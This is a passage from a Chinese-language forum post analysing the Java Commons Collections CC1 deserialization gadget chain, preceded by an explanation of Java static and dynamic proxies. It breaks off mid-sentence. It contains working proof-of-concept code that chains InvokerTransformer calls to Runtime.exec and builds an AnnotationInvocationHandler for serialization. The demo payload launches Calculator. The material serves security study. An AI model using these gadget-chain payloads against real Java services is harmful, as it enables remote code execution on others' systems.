taibeihacker
Moderator
Java 反序列化漏洞系列-2
1 背景介绍
1.1 Commons Collections
Apache Commons 是Apache 軟件基金會的項目。 Commons Collections 包為Java 標準的Collections API 提供了相當好的補充。在此基礎上對其常用的數據結構操作進行了很好的封裝、抽象和補充。讓我們在開發應用程序的過程中,既保證了性能,同時也能大大簡化代碼。1.2 Java 代理
類似於python 中裝飾器的作用,Java 中的代理,就是代理類為被代理類預處理消息、過濾消息並在此之後將消息轉發給被代理類,之後還能進行消息的後置處理。代理類和被代理類通常會存在關聯關係,代理類本身不實現服務,而是通過調用被代理類中的方法來提供服務。1.2.1 静态代理
創建一個接口,再創建被代理的類實現該接口並且實現該接口中的抽象方法。之後再創建一個代理類,同時使其也實現這個接口。在代理類中持有一個被代理對象的引用,而後在代理類方法中調用該對象的方法。接口:
1
2
3
public interface HelloInterface {
void sayHello();
}
被代理類:
1
2
3
4
5
6
public class Hello implements HelloInterface{
@Override
public void sayHello() {
System.out.println('Hello World!');
}
}
代理類:
1
2
3
4
5
6
7
8
9
public class HelloProxy implements HelloInterface{
private HelloInterface helloInterface=new Hello();
@Override
public void sayHello() {
System.out.println('Before invoke sayHello' );
helloInterface.sayHello();
System.out.println('After invoke sayHello');
}
}
代理類調用:
1
2
3
4
5
6
7
8
9
public static void main(String[] args) {
HelloProxy helloProxy=new HelloProxy();
helloProxy.sayHello();
}
輸出:
Before invoke sayHello
Hello World!
After invoke sayHello
使用靜態代理很容易就完成了對一個類的代理操作。但是靜態代理的缺點也大:由於代理只能為一個類服務,如果需要代理的類很多,那麼就需要編寫大量的代理類,比較繁瑣。因此,提出了動態代理的概念。
1.2.2 动态代理
利用反射機制在運行時創建代理類。接口、被代理類不變,通過構建handler 類來實現InvocationHandler 接口。
1
2
3
4
5
6
7
8
9
10
11
12
13
public class ProxyHandler implements InvocationHandler{
private Object object;
public ProxyHandler(Object object){
this.object=object;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println('Before invoke ' + method.getName());
method.invoke(object, args);
System.out.println('After invoke ' + method.getName());
return null;
}
}
執行動態代理:
1
2
3
4
5
6
7
8
9
10
11
12
13
public static void main(String[] args) {
System.getProperties().setProperty('sun.misc.ProxyGenerator.saveGeneratedFiles', 'true');
HelloInterface hello=new Hello();
InvocationHandler handler=new ProxyHandler(hello);
HelloInterface proxyHello=(HelloInterface) Proxy.newProxyInstance(hello.getClass().getClassLoader(), hello.getClass().getInterfaces(), handler);
proxyHello.sayHello();
}
輸出:
Before invoke sayHello
Hello zhanghao!
After invoke sayHello
2 CommonsCollections 1 Gadget 分析
2.1 调用链
12
3
4
5
6
7
8
9
10
11
12
13
14
15
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
MapEntry.setValue()
TransformedMap.checkSetValue()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
2.2 POC
12
3
4
5
6
7
8
9
10
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer('exec', new Class[]{String.class}, new Object[]{'/System/Applications/Calculator.app/Contents/MacOS/Calculator'}),
};
Transformer transformerChain=new ChainedTransformer(transformers);
Map innerMap=new HashMap();
Map outerMap=TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put('test', 'Geekby');
2.3 分析
2.3.1 整体思路
cc1 gadget 的sink 點在於InvokerTransformer 類可以通過傳入方法名,方法參數類型、方法參數,利用反射機制,進行方法調用。反向尋找使用了InvokerTransformer 類中transform 方法的調用點:

發現TransformedMap 類中的checkSetValue 方法中調用了transform 方法
1
2
3
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
在TransformedMap 類的成員中,發現protected final Transformer valueTransformer 屬性。通過調用該類的decorate 方法,可以構造一個TransformedMap 對象。

接下來去尋找調用了checkSetValue 的source:

在MapEntry 中,存在setValue 方法。因此,該鏈的前半段POC 如下:

接下來就是去尋找反序列化的入口,在AnnotationInvocationHandler 類中,重寫了readObject 方法,在該方法中,對MapEntry 調用了setValue 方法。

該類非公有,因此,需要通過反射來構造其對象:
1
2
3
4
Class annotationClass=Class.forName('sun.reflect.annotation.AnnotationInvocationHandler');
Constructor constructor=annotationClass.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj=constructor.newInstance(Override.class, outerMap);
對obj 對象進行反序列化,構成整條鏈的利用思路。整個過程涉及到如下幾個接口和類的具體作用及一些細節如下。
2.3.2 TransformedMap
TransformedMap 用於對Java 標準數據結構Map 做一個修飾,被修飾過的Map 在添加新的元素時,將可以執行自定義的回調函數。如下,對innerMap 進行修飾,傳出的outerMap 即是修飾後的Map:1
MapouterMap=TransformedMap.decorate(innerMap, keyTransformer, valueTransformer);
其中,keyTransformer 是處理新元素的Key 的回調,valueTransformer 是處理新元素的value 的回調。 我們這裡所說的「回調」,並不是傳統意義上的一個回調函數,而是一個實現了Transformer 接口的類。
2.3.3 Transformer
Transformer 是一個接口,它只有一個待實現的方法:
TransformedMap 在轉換Map 的新元素時,就會調用transform 方法,這個過程就類似在調用一個「回調函數」,這個回調的參數是原始對象。
2.3.4 ConstantTransformer
ConstantTransformer 是實現了Transformer 接口的一個類,它的過程就是在構造函數的時候傳入一個對象:
並在transform 方法將這個對象再返回:

2.3.5 InvokerTransformer
InvokerTransformer 是實現了Transformer 接口的一個類,這個類可以用來執行任意方法,這也是反序列化能執行任意代碼的關鍵。
在實例化這個InvokerTransformer 時,需要傳入三個參數,第一個參數是待執行的方法名,第二個參數是這個函數的參數列表的參數類型,第三個參數是傳給這個函數的參數列表。
後面的回調transform 方法,就是執行了input 對象的iMethodName 方法:

以執行calc 為例:

2.3.6 ChainedTransformer
ChainedTransformer 也是實現了Transformer 接口的一個類,它的作用是將內部的多個Transformer 串在一起。通俗來說就是,前一個回調返回的結果,作為後一個回調的參數傳入。
引用phith0n 的一張圖:

2.3.7 AnnotationInvocationHandler
觸發這個漏洞的核心,在於向Map 中加入一個新的元素。在上面的demo 中,通過手動執行outerMap.put('test', 'xxxx'); 來觸發漏洞,但在實際反序列化時,需要找到一個類,它在反序列化的readObject 邏輯裡有類似的寫入操作。在AnnotationInvocationHandler類中的readObject:

核心邏輯就是Map.EntryString, Object memberValue : memberValues.entrySet() 和memberValue.setValue(.) 。在調用setValue 設置值的時候就會觸發TransformedMap 裡註冊的Transform,進而執行payload。
接下來構造POC 時,首先創建一個AnnotationInvocationHandler:
1
2
3
4
5
6
7
Class clazz=Class.forName('sun.reflect.annotation.AnnotationInvocationHandler');
Constructor construct=clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj=construct.newInstance(Retention.class, outerMap);
由於sun.reflect.annotation.AnnotationInvocationHandler 是JDK 的內部類,其構造函數是私有的,因此通過反射來創建對象。
2.3.8 进一步完善
通過構造AnnotationInvocationHandler 類,來創建反序列化利用鏈的起點,用如下代碼將對象序列化:1
2
3
4
ByteArrayOutputStream barr=new ByteArrayOutputStream();
ObjectOutputStream oos=new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();
但是,在經過序列化時,拋出異常:

在本系列的第一部分描述過,java.lang.Runtime 這個類沒有實現Serializable 接口,無法序列化。因此,需要通過反射來獲取當前上下文中的java.lang.Runtime 對象。
1
2
3
Method m=Runtime.class.getMethod('getRuntime');
Runtime r=(Runtime) m.invoke(null);
r.exec('/System/Applications/Calculator.app/Contents/MacOS/Calculator');
轉換成Transformer 的寫法:
1
2
3
4
5
6
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer('getMethod', new Class[]{String.class, Class[].class}, new Object[]{'getRuntime', null}),
new InvokerTransformer('invoke', new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer('exec', new Class[]{String.class}, new Object[]{'/System/Applications/Calculator.app/Contents/MacOS/Calculator'}),
};
但是,執行過後,發現仍然沒有彈出計算器。
動態調試發現與AnnotationInvocationHandler 類的邏輯有關,在AnnotationInvocationHandler:readObject 的邏輯中,有一個if 語句對var7 進行判斷,只有在其不是null 的時候才會進入裡面執行setValue,否則不會進入也就不會觸發漏洞。
那麼如何讓這個var7 不為null 呢?需要如下兩個條件:
sun.reflect.annotation.AnnotationInvocationHandler 構造函數的第一個參數必須是Annotation 的子類,且其中